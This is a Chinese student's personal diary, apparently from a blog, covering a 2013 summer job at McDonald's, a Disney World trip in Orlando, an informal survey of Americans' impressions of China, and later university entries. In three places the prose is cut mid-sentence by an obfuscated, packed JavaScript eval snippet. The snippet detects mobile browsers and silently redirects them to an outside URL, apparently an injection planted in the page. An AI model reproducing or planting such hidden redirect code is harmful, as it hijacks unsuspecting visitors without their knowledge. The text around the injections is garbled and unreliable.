麦当劳的工作全部结束了。最后一天原本应该坚持到最后，可是我最后提前了几乎两个小时走……从下午五点开始，也就是所有的红衣Boss走了以后，麦当劳的班就太难上了……这算是晚班了吧。晚班的家伙们……最后再说他们。 骏骏炯炯和我昨晚把自己带来的所有礼物都整理了一遍，毕竟是最后一天的工作了，大家都要处理一下自己的东西。骏骏和炯炯把自己带来的料包，面条都送的差不多了，我也只剩下书签了。今天我让自己遇见的人都随意从包装里抽出一张书签，大家都还蛮开心的～还有就是和大家拍照片了。 最后来说晚班的事。其他几个中国女生大都在昨天结束了工作，她们是被安排在晚班的。晚班的人有两个共同的特点，不干活和偷吃。就是不管有多少单，只要他们想要离开岗位就可以离开，也不会Punch Time。然后就是麦当劳所有的食物随心所欲地吃，根本不顾及顾客是否需要。我不喜欢晚班，也不喜欢上晚班的人。不喜欢的事就少写一点吧。或许还有机会再写总结的。去洗澡～ 74.大二暑假（20） 2013年9月17日 星期二 阵雨 奥兰多的天空有两层，第一层用来下雨，第二层用来给人看！这是我对奥兰多这一天的印象～这是迪斯尼世界的第一天游览，算是比较轻松了吧，不过脚还是酸的不行了……奥兰多的天气闷闷的湿热，我在北方待久了居然还真的很不习惯。第一层云飘来，就下了一阵雨，很快云又散了，露出在更高处的第二层云，美得不像话～ 9月16日（忽然发现不写昨天的事就根本没有办法写今天的事……所以先从昨天的事写起） 不知什么原因睡的不好，起床后草草收拾结束，喝了牛奶就往机场赶。这是真的要离开威利斯顿了，我想是永远不会回来了。冰箱里还留着骏骏大罐的未能喝完的全脂牛奶，还有我们压根就忘了的昨晚买的哈根达斯……我最后和自己的床合影，却因为害怕晕机没能认真看威利斯顿最后一眼。 这次买的是商务舱，没有想到第一次坐商务舱居然是在美国，当然不比经济舱贵多少……至于具体的价我是付过钱早就忘了……该死的小飞机，第一段路程一共就坐了十个人……所谓商务舱是被安排在倒数第二排……坐商务舱倒数第三排的还要负责开紧急出口的门。位置小的连腿都伸不动，第一段路程连水都不提供。虽然耳塞缓解了晕机，但是没睡好还是让我大受其苦，昏昏沉沉挨过了第一段，不换飞机，在Dekson（北达科他的一个城市，我是绝对拼错了！）停留了几分钟就往丹佛去了。这段路程也只是提供了一杯水……好不容易熬到了丹佛，饿穿了……犹豫了半天，还是选择了麦记。这家机场的麦记比威利斯顿平均贵了两刀，想想在威利斯顿最后一餐麦记点了那么多还让Makinsie给免了单，真是唏嘘不已，加上这家麦记居然没有Mc Chicken，薯条又巨咸！写写也就算了。 骏骏和我都晕乎乎的，按照机票上的登机口等待登机，结果票都检了被叫了回来，我们上的飞机去的是Amaha……我们去的是Olando，不是这个登机口……两个晕乎乎的人顿时精神了！那时候已经过了去奥兰多的登机时间了，顿时心里一个吓！结果从32口走到28口，飞机还停在那里……松了一口气，看着隔壁去San Flansisco的口站满了警察，我们也就默默地排队等候。虽说是商务舱，还是zone 3，一架飞机有4个zone，不知怎么发现自己的位置在飞机的最后一排……我依旧是睡了过去，醒来发现一天的飞机都没有提供飞机餐……我们之所以是商务舱就是可以免费喝饮料，经济舱需要付钱……怪不得美国机票便宜啊，这真是小气到爆！快到奥兰多的时候离飞机的不远处的云层有闪电，能在飞机上看到这一美景真是震撼！总是可以在一片黑暗中看见下方城市零星的亮光，让我想起了猫的报恩，那么美好而虚幻。算是在飞机上睡了一天……到达奥兰多，热带气息迎面扑来，我们从最冷的北方来到了最温暖的南方，这个跨度我需要花上一些时间适应了。 取到行李之后就开始找迪斯尼的接机点，没有想到居然是一个完整的区，先在服务台报上自己的姓，他就为你打印出一张车票，上面标注的是你住的酒店，骏骏和我之前因为不记得自己订了哪里担心，原来都是白费……据说在晚上十点之前到达机场的游客连行李都不需要自己拿，迪斯尼的工作人员会为你直接送到房间，这样的服务真心周到。去我们住的旅馆需要在四号线上等待，等待区很大，分为8条线，都是去往不同主题酒店的，等待区拉满了线，每隔几十米就要一台电视，你可以看到迪斯尼的动画，电影和介绍。 等来了迪斯尼的专车，车上的电视循环播放着迪斯尼的介绍，这么一句话，我觉得很对，“Disneyworld, where the dreamse true.”到达住的酒店前台Check In，发现前台就只是前台，这是一个大厅，因为酒店有一整个区……因为是晚上，只是知道有那么一条河，还有许许多多的热带植物。从进入迪斯尼开始，就意味着充满了惊喜。先是给了我一个信封，后来知道里面是优惠券～几乎所有的小物件都有米老鼠的头像！然后是我们的房卡，上面印着我的名字，然后这张卡就相当于我们在迪斯尼的一卡通，几乎可以解决所有的问题，尤其是吃饭！我们提前预订了Dinning Plan，这是迪斯尼针对九月份的一个活动，住房间就送餐，包括一天一餐Snack（甜点），一餐Quick Serve（快餐），一餐Table（正餐）。 （9月26日……刚看了木木写的远征日志，自己也变得万分激动了。每个人都有不一样的人生目标，就像昨天，即使我走在去超市买零食的路上，也可以开心地哼歌～这次的美国之行在明天就正式结束了。对于回国我有千万个欢喜～但是回头看看自己走过的路，知道自己没有白来。那接下来继续补我的日记吧。）打开房间门，首先感到惊讶的是这不是我们预定的房间！印象中我们预定的房间是以海底世界为主题的……结果，床设计成了帆船的样子，床头是桅杆，被子上印的是金币和珠宝，桌子的图案是罗盘，电视柜是木质的箱子，哈！加勒比海盗！说来也是，直到后几天我才反应过来，我们住的这个区叫Crribean Beach（加勒比海滩）！靠门的床上有用毛巾叠成的米奇头～和骏骏开心的拍了一会儿照片，洗漱过后就睡了。当然Wifi信号强让我们很高兴！ （继续9月17日）从我们住的38区走出去二百米就是公交站，住宅周围遍布热带植物，小蜥蜴在周围爬来爬去！当然一百米处还有一个露天游泳池。早起就赶上了去Animal Kindom的一班迪斯尼公交，因为这个迪斯尼世界非常大，所以迪斯尼有自己的公交，光是在我们住的这个主题宾馆Crribean Beach就至少有五个公交站点，去四个不同的主题公园和迪斯尼Downtown是不同的车，一共有8路。乘车不知开了多久到了门口，第一件事就是查包，这里不像香港迪斯尼严禁带食物，所以你会发现很多人家是自带吃食的。第二件事就是输入指纹，（9月26日 继续）一手拿着我们的房卡放在米奇头形状的感应器上，另一手选一根手指放在指纹识别器上，等指示灯变绿就可以进门了，以后的每一天都是这样入园的。我和骏骏买的是一天进一个园的票，买了六天，你也可以选择买一天可以往返于多个主题公园的票，叫Hooper，但是贵很多。 在来之前骏骏查了大量的攻略，说是第一天选择了一个不是那么累的主题公园，这样我们晚上可以去迪斯尼Downtown吃晚饭，我们在那里预定了一家名叫Rainforest Café的饭店，人气颇高！在迪斯尼吃Table往往是需要预定的，早在八月份的时候有几家人气非常高的只提供Table的餐厅就已经被预约满了（每一家餐厅往往都只提供一项服务，比如只做Table或者只做Quick Serve，Snack很多都只是卖东西的小亭子，连坐的地方都没有）。Animal Kingdom作为一个独立的主题公园又可以分为七个不同的主题，分别是Oasis，Discovery Island，CampMinnie-Mickey，Africa，Rafiki’s Pl Watch，Asia和Dinoland USA，主题公园入口处就有详尽的地图，上面有标注各个项目的具体位置和大致的介绍，地图有英文，法文，德文，日文之类，很可惜，就是没有中文。按照攻略，我们应该先去一个看野生动物的项目，据说这是园内最火的项目。 (9月27日 继续)在去冒险岛的路上我们看见了园内的第一个表演行为艺术的人，她踩着高跷，全身缠绕着藤状绿叶，脸部涂成了绿色，她走了两步就依着一颗热带植物不动了，瞬时她就和树丛融为了一体，我实在是惊叹！越往里走，就越来越有热带雨林的感觉，周围成片的绿色植物，到处乱穿的小动物，配上湿热的空气，我穿着牛仔裤热得快要喘不过气来！在这个项目（原谅我记不得坐车看野生动物项目的英文名）上我们第一次接触到了Fastpass的概念，这是一个类似预约的旅客通道。大部分项目的入口都有两个通道，一个是Waiting（等待通道），就是排队等待，门口有屏幕会显示你需要等待的时间；另一个通道就是Fastpass（快速通道），你需要找到可以领取Fastpass卡片的机器，往往离门口有一定的距离，把你的门票插入机器，就会掉出这个项目的Fastpass卡，上面会显示你在几点到几点之间可以不用排队直接参加这个项目，但是直到第一张Fastpass卡的时间到了你才可以领取第二张Fastpass卡（以下简称F卡）。F卡确实为我们节省了不少时间。 我们向工作人员询问了领F卡的位置，可是领到卡之后发现还需要等待大约半小时，骏骏和我都没有吃早饭，我们想着花掉一个Snack吃早饭，然后休息一下就可以继续项目了。也许是做过飞机后没有好好休息紧接着就开始项目，所以我们的兴致都不是太高。在美国吃饭看不懂菜单是一件非常让人抓狂的事，可是这种事情又经常发生，所以在买甜点的时候我又开始问问题了……我在国外点单的基本步骤是这样子的，首先大致的浏览菜单，把我可以看懂的看懂，找出自己比较感兴趣的。第二步把自己感兴趣的和看不懂的菜一起问服务生，其实就一句话，What’s This？（这是什么？！超级简单的句型吧）第三步就是经过大脑稍微消化然后点单。在甜点上我一向是选自己看得懂的，理由很简单，美国的一切甜点对于我来说都太甜太腻了（我讨厌美国甜点好么！除了Donate，偶尔吃还是不错的），与其冒险选一个根本下不了口的，不如找一个起码自己有心理准备的（偶尔一两次的大胆尝试果真让我后悔不已……）。 我选了一个巨型Muffin！骏骏要的是新鲜货。我们只需要把房卡放在米奇头形状的感应器上，然后输入房卡密码，就支付成功了。结局很显然，骏骏和我吃的很痛苦，她的甜点又大又甜，面包里面夹的是裹了糖浆的苹果……又在椅子上坐了一会儿，我们就进入快速通道了。走快速通道的感觉是非常好的，因为一路上都没有人，我们看着边上等待的长长的队，心里非常安慰～说白了，快速通道就是变相插队，因为最后我们是和正常等待的人会合成一队的……几乎是我们走到了通道尽头，车就来了。 这就是游览车，不过车轮周围全部都有挡泥板，车的顶部是用茅草覆盖罢了。和所有的主题公园的导游一样，这个司机兼导游也是自High型的人物，一直在前面说得很高兴……在初中的时候我去广州的香江动物园就接触过这种观看动物的形式，所以现在对我来说并有没有太多吸引，反而是因为觉得自己睡不够，加上昨天的晕机后遗症感觉很不舒服呃……总的就是提不起精神来……毕竟是和骏骏一起，大部分东西也都是她安排，我也不至于是那种别人帮你做了还不高兴的人，所以我还是非常努力地打起精神开始了下面的项目。 美国的历史实在是太短了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Pasta（意面的一种）……倒是这家以恐龙为主题的餐厅装潢的很不错！（迪斯尼的每一家餐厅装潢都很不错～会有自己的主题特色。而且每个厕所也不一样～哈哈！星级服务！这是好的没得说的～）墙上有图标的恐龙进化史，有假的恐龙化石……只是室内的灯光有那么点暗…… 实在是找不到想要体验的项目，不过也确实没有什么可以玩的……我们选择看Show！迪斯尼的一大看点也就是他的Show。具体看的时间我已经记不清了……大约是先看了Finding Nimo（迪斯尼出的《寻找小丑鱼》，我不记得官方的翻译是什么了……），这是一部音乐剧。舞台，灯光，音响都赞到爆！这是我来迪斯尼世界看得第一个Show，还是很开心的。表演形式是制作了小丑鱼的巨型玩偶，但是由穿着和背景融合的演出服的演员控制，玩偶的眼睛和嘴是可以动的。（9月28日 继续）最让我忘不了的是有一部分的演出演员是吊威压的，他们在维亚威压上一边做动作一边唱歌，甚至还要翻转！也许是自己懒了，又或许是自己的语言太过于贫乏，我竟描述不出当时的场景，只是隐约记得感觉很美妙～ 看的第二场Show是《狮子王》，在等演出之前我们在动画人物见面区排队和唐老鸭，花栗鼠和猩猩，熊照相（请原谅我后面几个动画人物的动画片我都没有看过）。当初在香港迪斯尼的时候，就因为排队去和米老鼠照相被嘲笑了，按照她们的说法是，只要穿上玩偶的衣服就是米老鼠了，那样有什么意思？！而且往往排队照相的人还很多，会浪费很多逛游乐设施的时间。我只能说我很喜欢，理由还真说不上……我很佩服那些穿玩偶服和游客拍照的工作人员，毕竟奥兰多的天气热得像蒸锅！虽然迪斯尼园内有许多出电风扇配着喷水器（就是把喷出来的水雾吹到游客身上降温），但是毕竟迪斯尼这么大，还是有很多地方照顾不到。轮到我和骏骏照相的时候，恰好唐老鸭要去休息了。我们就和工作人员聊了起来。我问他们为什么地图有日文没有中文的，他们告诉我，这里的中国游客并不是非常多，但是日本的游客却有非常多。说到这里，大家就聊起了中国。一共有两个工作人员，一个是大约六七十岁的老爷爷，一个是大约二十几岁的摄影师，他们都表示想要去中国旅游，而且老爷爷对中国的了解还真是不少。他知道中国的菜分为很多种菜系，很好吃，但是有的很辣。他知道中国地大物博，有很多的风景名胜～光是这样就已经让我非常开心了～ 接下来又要介绍一个迪斯尼神卡，叫Photopass，这是迪斯尼提供的又一人性服务。迪斯尼内的各个照相点都分布了很多迪斯尼园内的摄影师，你可以找他们拿一张Photopass（上面带有卡号和条形码），然后用迪斯尼的相机拍照，照完之后把Photopass拿给摄影师扫码，回去之后在迪斯尼的官网就可以找到自己的相片了。你可以选择打印或者下载，不过价格都不菲……但是有一种神器叫做□□截图！只是在这里不得不吐槽，那些摄影师的技术简直就是路人甲…… 好吧继续说《狮子王》。这是一个多种元素集合的Show，有演唱，有舞蹈，甚至还有杂技……迪斯尼室内的空调开得很低，可是我依旧非常困……这个Show我并没有太多的感想，不过后来骏骏和我无意间选择的一个项目却让我们两都清醒了过来。名字是It’s Tough To Be A Bug（做一只虫很难）！我们也是无聊想打发时间，由于我们是淡季去的迪斯尼，所以那些个攻略很多都不适用，因为我从来都不需要排太久的队就可以进到下一个项目，所以一个主题公园一天绰绰有余……所以到后来真的就是觉得无聊了……加上大型游戏我一律不做！哎哎……只是到门口，我和骏骏又开始有点害怕了，这是一个需要戴3D眼镜的体验项目，骏骏说她最怕虫…… 75.大二暑假（21） 2013年10月17日 星期四 美国小结（二） 在去美帝之前我就想好了要做一个问卷调查，看看老美对我大□□有何看法，于是我准备了如下几个问题：1 对中国的印象；2 知道中国的哪几个城市；3 想去中国吗；4 对中国人有什么印象。而且为了这几个问题我还配了几个选项。后来自知是搞工科的，社会人文修养有限，就干脆省去了选项，除掉了限制，让老美自由发挥！再后来遇到的人多了，都不需要提特定的这几个问题，只需要恰当引导让对方把想法说出来就好，回答问题的人也不局限是美国人了。从西雅图一路到北达科他，中间去过纽约，最后到达奥兰多，很多老外的回答真心是亮瞎了。 P.S.鉴于本人的翻译水平有限，或许不能够完满地展现人性智慧的光辉，请大家多多包涵！ 6月10日 西雅图 Brian是一个在中国做过外教的天主教徒，当我问他对中国的印象时，他说了这样一段话：“中国很大，很不一样。有很多有钱人，但也有很多穷人。发展很好，同时又发展地很不好，这取决于你去的地方。我去过中国两次，第一次去了成都，哈尔滨，丽江，这都是我很喜欢的地方，我特别喜欢都江堰。后来去了北京，我讨厌北京！因为太多人了……我会去中国，是因为我失业了，所以……不过中国人都对我很好～” IRE和NOVE是一对夫妇，夫妇俩加起来一共会说五种语言，中国是他们周游世界中的一站，他们对中国的印象是很大很美，中国食物很好吃，他们无法选择出自己最爱的中国城市，因为他们爱中国！（热泪盈眶有没有啊！） Thomas刚结束了他的高中生活，对中国的全部印象就是“北京”！但是他和他的朋友们都想去上海，因为上海有他们的朋友。 6月11日 西雅图 在青旅吃早餐，遇见一个去过中国的老头，他在知道我是中国人以后兴致勃勃地表达了他对中国的热爱！而且自豪地告诉我他学过太极～让他很遗憾的是，他不喜欢中国的天空，是灰色的…… Mark是在美国生活了一辈子的日本人，他娶了一位香港妻子，他说他在很多年前去过中国，但是他知道中国这些年变了很多。 在派克市场我无意间走进了一家纹身店，店主是一位捷克来的老太太，她去中国看过北京奥运会，印象很深的是灰色的天空和数不清的人……我告诉老太太近年来中国的环境有所改善，天空比以前更蓝了！可是老太太她直接说，她很怀疑！然后问我做了什么？怎么做到的？我说我们关闭了很多污染严重的工厂，我们开始净化水资源，而且种了很多树……然后……老太太说很高兴中国能意识到这一点！这…… 6月12日 开往威利斯顿的火车上 这是一对来自密歇根的夫妇，我们坐在同一张餐桌上吃早餐，他们的侄女曾经在中国教过英语，他们为此感到骄傲！ 威利斯顿 Presiton十四岁，没有去过中国，但是有几个很棒的中国朋友，所以他觉得中国人都很棒！ Mario十六岁，他简直是崇拜地热烈地问我，“中国是不是家家户户都有机器人？”我还没有回答，他就接着说，“中国真的是太发达了！中国人都是高智商啊！话说，我一直不确定香港是中国的还是日本的？”我居然很耐心地教导了他…… Talor，他一幅无所谓的态度告诉我，“香港”是他对中国的全部印象，然后他一直在强调，他去过日本！ Gift是泰国来的小女生，我还没开口问什么呢，她就说，我不知道！ 在麦当劳的大厅等餐的时候遇到一位顾客，他对中国的印象是大量的人口为微薄的薪水努力的工作，但是中国这十年来急剧发展，比如扩张的城市和楼房。知道上海，想去香港！非常想去香港！去过印度！ 我在必胜客和一个美国南部的老头一起等餐，我们很无聊就聊了起来。 问：对中国的印象？ 耸肩，答：我有一个中国朋友。 问：那你对你的中国朋友有什么印象？ 又耸肩，答：我觉得中国人和其他人没有区别。那个中国来的人自己带了厨具。 问：会想去中国旅行吗？ 还耸肩，说：我想游遍美国和加拿大。 …… 这是一段失败的对话。 Jonah是我的工友，这是我和他一起做Grill（类似铁板煎，就是在热热的铁板上煎牛肉饼）的时候的对话。 问：对中国的印象？ 答：酷！ 问：理由？ 答：我从电影里看到的。 追问：有其他看法吗？ 答：没有，我没上学！ 停顿了一会儿，他问我：北京是中国的，那上海是日本的吗？ …… Omar是每天由妈妈开车接送来麦当劳体验生活的富家子弟，他很认真地思考了我的问题半分钟，很官方地回答，“中国是一个好地方。”我追问他会不会想去中国旅行？他很勉强地皱了皱眉，说的是Maybe…… Jessica在做汉堡的时候回答她对中国的印象是，“人多！佛！”我问她想去中国旅行吗？她不假思索地说了No！想了一会儿，她告诉我理由是没钱！ Dada是个南非来的研究生，他喜欢中国功夫，有很多很好的中国朋友，所以他很想去中国看看。 Kile只有十九岁，可是看起来起码二十九了。我问她是否想去中国旅行？她说，我一定要去日本东京！然后她开始给我描述她有多么想去东京…… Jay是麦当劳里最大的吃货，他印象中中国的全部就是食物，全部的食物！ 沃尔玛的一位收银员主动和我搭话，让我推荐中国不能错过的城市（我很开心地说了很久）。他最后说了一些不相干的话，他觉得娶妻子的话，应该选中国，菲律宾，日本，墨西哥这些地方的女人～ 在跳蚤市场和卖枪支弹药的小贩的对话。 问：你觉得中国怎么样？ 答：很美，我喜欢！ 建议：那你一定要去中国看看！ 答：是的，我也想！不过中国不会欢迎我的，因为我卖枪！（我很不喜欢他脸上轻蔑的笑） Taylor梦想当演员，他说他不想生活在中国，因为中国不够开放。（他是想要多开放？！） Tito是意大利人，他说的话让我有一种温暖的感觉：“我爱中国，我有一个很棒的中国朋友，她是混血儿，她的父亲是中国人。报纸上说的中国……·（停顿）我不信！我觉得中国是个好地方。” Yaya从南非来，他对中国的感觉是所有的一切都很好！有很多的工作机会。在他看来，世界上只有中国，美国，法国这几个国家能为人提供各种所需。他说他攒够了钱，明年打算去香港！ Ray的说法是很典型的美国做派，他说，中国就是那么一个国家，我不在意，只是单纯想去旅行。 Melic是约旦人，有一天在做汉堡，他兴高采烈地走过来对我说，“E，我知道关于中国的可多事儿了（我觉得我翻译不出那种语境……他的原话是，“E, I know lots of China!”）！” 我：举个例子！ M：香港是中国的！（非常得意的表情）< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057595|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我：还有呢？ M：这还不够吗？ 我哭笑不得…… Vern是我的大老板，在我看来他总是吃个不停，不过他是个渊博的大胖子～我问他对中国的看法，他很严谨的回答说，“我没有去过，所以没有办法怎样回答。”我问那你对中国有什么印象？他说，“我喜欢汉语！”我继续追问，那中国有没有吸引你的地方？Vern顿时两眼放光，他说，“熊猫！他们太酷了！小时候是那样小小的，粉红色的～长大了是那么大（他用的是Huge这个词）！我超爱中国食物！鸭子！我喜欢吃鸭子！我只吃过一次（他舔了舔舌头）……”从此以后，Vern经常问我关于中国的各种美食，重点是他的手里拿着智能机，一边看图一边问～ 我在Motel大厅和一个游遍美国的老头聊天，他说他不想去中国，因为他不会说汉语，重点是他害怕人多…… 8月17日 飞往纽约的飞机 我遇到了一位印度老人，他来美国看自己的女儿，他刚得知我是中国人就开始和我大肆表扬中国的独生子女政策！他说，印度也应该像中国这样推行独生子女政策！他就觉得中国又大又好！（哎，只有阿三才懂得独生子女的好啊！老美就是不论我怎么解释还是不断问我为什么中国要控制人口。） 9月12日 威利斯顿 Jamal每次一提到中国就很猥琐地笑笑，说，“Beautiful women, so young~” Craij给我的感觉是他很不在状态…… 问：你有听过一些关于中国的事吗？ 答：我有一双筷子。 问：你觉得中国怎么样？ 答：Fun， Funny。 问：What kind of fun? 答：A kind of fun.（以上这段很抱歉，我真的翻译不来……） 过了良久，Craij幽幽地说，“我想去中国，听说中国的鞋很便宜……” 最后来几个最大众的版本。 版本一 问：对中国的印象？ 答：大，人多。 没有了…… 版本二 问：对中国怎么看？ 答：好。 没有了…… 版本三 问：中国……（还没有说完） 答：不知道，不在意。 没有了…… 还有一些就都是大同小异的回答了。你会发现，最普通的美国大众对中国是非常不了解的，他们也不想了解，但是却很容易因为有一两个很棒的中国朋友想要来中国看看。关于香港，澳门和台湾是否属于中国这个问题我回答了无数次了……我也总是很努力地想让更多人看到中国积极向上的新面貌（包括很多华人）。很多人在我说中国的时候喜欢扯到日本，我觉得日本确实有很多值得我们学习的地方，比如对传统文化的保护。也不是说中国做的不好，只是不够好。中国还是有很多吸引人的地方的，比如真的很多老外超爱熊猫！超爱中国食物！不过，我觉得最重要的还是中国人，尤其是走出国门的人。人家才不会去想什么中国巨大的背景，只会认定他们现在看到的人！我一个人的力量太有限，大家要一起加油！为了太多太多值得我们努力奋斗的事！当然，很多问题会有思想体系比我强大又比我更无畏的人来思考和解决，不过在民主社会表明一下自己的态度还是可以的嘛～ 我非常热爱自己的祖国，我也承认我属于吃得饱，穿得暖，闲得屁的那类人。不过我做的是我喜欢的事，比如写这些东西，虽然和我的专业十万八千里……但是我很快乐～ 76.大三（上）十月 大三（上）（2013年10月-2014年1月） 2013年10月8日 星期二 阴 或许是因为大村庄是雾霾，永远是这样灰蒙蒙的……我可以说自己不喜欢或者是不适应么？第一天上课，岩体力学和测量，头大！也是要结课了……感冒很不好受！我可以说自己现在想吃东西么？呃……写不出东西了喂……早睡吧。爱我自己。 2013年10月12日 星期六 阴 陪着燕子又把木木去雷励的照片看了一遍，感触依旧很深…我还是那样，总是努力在挣扎，结局是现在比以前好了一点。我发现除了看书，我的灵魂真是要烂掉了！看测量学吧！发现自己甚至不想好好写篇日记。 2013年10月15日 星期二 多云 大村庄的天气忽然间凉了下来，我的心似乎也一起凉了。从美国回来到学校以后，我的状态就很不让人满意。似乎更迷茫了，我不想再和太多人有交流，就是不想和他们说话，也不想有接触……课程上的事还好，只是人就是提不起精神。把《偷影子的人》看完了，只是非常平淡，没有一点点更多。书对每个人的影响都不一样，对我来说，现在每一本都可以成为一种慰藉。要做的事看似很多，却好像一件也不想拾起来，我的状态，我也知道只有自己可以调整了。加油！ 2013年10月18日 星期五 多云 我觉得我们之间的距离越来越远了，和好多人。J是其中一个，我们宿舍之间也是。昨天我看了《一九八四》，最后对新话的解释和对作者为什么写作的阐述我都不想再看了。 《一九八四》对我的影响还是很大的，一直看到戈斯坦因书的那部分内容我才觉得这本书非常有意思，对社会本质的揭示，世上的三种阶级，天才之作！不过后来奥布兰对温斯顿折磨的那段我就很不喜欢了……不过我也认同了一点，这世上有比我思想体系更完善，更强大而且无畏的人，而且很多，我知道自己无论怎样努力都无法达到他们的高度，所以我从心里热爱他们～ 在上午的毛概课我看完了《紫罗兰》，这是日本八零后作家的作品，浩子认为这是我现阶段适合看的作品，因为我很迷茫。是，或许我从头到尾都是迷茫的，雷米是一个走不进内心的人，可是蓝子又真的想走进她的心吗？ 我很承认自己的自私，甚至开始很认真地思考自己的内心世界，这是我很苦恼但同时又为自己感到骄傲，这是我认为我比一般人优秀的地方，可是正是因为我的多愁善感，让我给自己施加了压力。从小到大其实我大都按父母的希望在前进，只有一步走差了，就是高中的那一步，一直让我忧心到现在。想到以往，问题都是出在自己身上的，是自己不够坚强。 从美国回来以后我觉得自己的内心更强大了。刚开始几天自己的心情一直不太好，可是自从我开始做自己喜欢的事，不去管那些学习，又开心了起来～我是自由的，是不喜欢受束缚的～我任由着自己就开心，逼迫自己就难受……我懒……哈！是懒～ 2013年10月20日 星期日 晴 已经过了快半个月了，可我现在的状态又变成了这样。心情随所看书的内容起伏，我到现在还是没有变。 时代似乎永远是属于年轻人的，这也就是青春被永远歌颂的原因吧！但又是那样的相同，每一个人在青春都曾迷茫吧！每一个时代都不曾改变。 我现在坐在这里用刚剥下的橘皮提神，青色的橘子皮好香，如果我做了一只简单的橘子？我们其实一直是在不同的书里寻求共鸣吧！找到哪怕和自己有那么一点点相似的想法和行为，我一直是孤独的，很孤独。我说，你走不进我的心里。在理解和了解之间：理解却不了解我的人，了解却不愿理解我的人。这是一个让人思考的问题：我为什么要变得强大？是因为每次我在想示弱的时候妈妈就说：“这不是你想要的吧？”这是什么？是我对自己的怀疑还是……一种逼迫？ 我想要的到底是什么？就算万叶拥有可预见的能力依旧过得不快乐，瞳子是“自由”？每个人的名字都是被命运召唤的吗？我甚至怀疑，像泪、毛球、百夜那样是否真的算活过？自己认定就算活过了吧！可是最后自己也死了啊！这不是我应该想的问题。 我的联想力总是那样丰富，我总认为樱庭一树写《赤杉叶家的传说》是按《红楼梦》的那种思路走的。从兴旺到……延续几代的故事，又都蒙上了神秘的不可知的力量。 吃下一个冰凉的橘子瞬间清醒了很多。《赤朽叶家的传说》从头到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069024|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾都让人有一种历史的沉重感。一个国家必定会经历那样的混乱年代吧！我没有喜欢上书中的任何角色，只是一味沉浸在故事情节发展中，好像在看书的时候可以逃避很多。 很喜欢毛球对白夜的无视，那是一种王者一般的漠然，可是“百夜”这个神奇的名字却让人耿耿于怀，“偷情百夜”。只是我一直无法想见赤杉叶大宅的空虚和寂寥。 我越这样想就越是会变成这样吧！ 2013年10月23日 星期三 晴 现在我也成为考研党中的一员，也就是在昨天刚刚坚定了信念要努力学习！英语考研的真题也已经买了，从前几天也开始背考研单词了，一天至少二十个，今天到了八十个了。妈妈还说我考上研要全家去旅行，带上男友也可以……华东水利大学，我来了！再不说自己考不上，一定加油！ 2013年10月26日 星期日 晴 疲软好多天了。这是第一次主动来教室上自习的吧！壮志凌云了好多天，这个周末又要过去了。关于我为什么要写这篇日记我还真说不清楚。 理智可以控制行为，但控制不住思想……好吧！有的时候都控制不住……话说真喜欢自己手上Bling Bling 的指甲油～父母都是过来人，对于感情的事总是比我有经验。妈妈强调？很多次要我忘掉过去，我当然知道是什么意思。人不断在变化和成长，你现有越来越多的过客在你生命中匆匆走过，以前还说一句要懂得取舍。现在就珍惜眼前，然后让一切都过去吧！ 今天也是个重大的日子，父母算是认可了大山和我，这之间不论发生了什么，我做错了什么，结局已定。我承认自己从没想过要真的离开大山，那么是的，我欺骗了毛羽的感情来满足我自己的私心。我没有想过报复，也不恨，但是真的发现我们不再有交集。为什么不愿只留下那一份美好？他太执著了，有我的错，没有做的让他死心。我是故意的，用一种矛盾的心态故意等待，我一直都知道这样是错的，现在不会了。错了就不做了。感谢大山对我的纵容和时间，感情是可以培养的，我们俩做的很成功。 我要的只是一个可以陪着我的人，随便什么看法吧！我要快乐，因为我只活在自己的世界～哦！好好学习！考上华东水利！ 77.大三（上）十一月 2013年11月3日 星期日 晴 不论有多少令人头大的事，偶尔写写总结什么的还是很有必要的。周六的测量实习刚结束，我觉得自己表现很烂。到处找外援的感觉很不好，因为毕竟是自己不会。 我已经没有办法掩饰自己对大山的爱，说来神奇，已经是爱了。这两天过得很开心，一起做事的感觉很好。长久以来我到底改变了多少连我自己都不知道。父母开始过他们自己的生活这让我很高兴，人到了这个年纪确实应该好好去享受。我现在要做的除了考研也就是应付好眼前的几场考试，回归简单的生活是幸福的事，这两年，做好这一件事就够了。 2013年11月9日 星期六 阴雨 拖着不肯开始复习，拖着不写日记，拖着不填报名表，拖延症！昨天花了大半个下午和晚上结束了《国境以南太阳以西》。初是那样迷茫，我们像极了。岛本再次出现一切都乱了，那多年以后的我又会是怎样？从每一本书中得到慰籍这句话我不知是从什么时候开始体会到的，这或许又是我的新境界。我似乎是可以感觉到自己的进步的，不过在感情的事情上是真的……或许进步了一点点？ 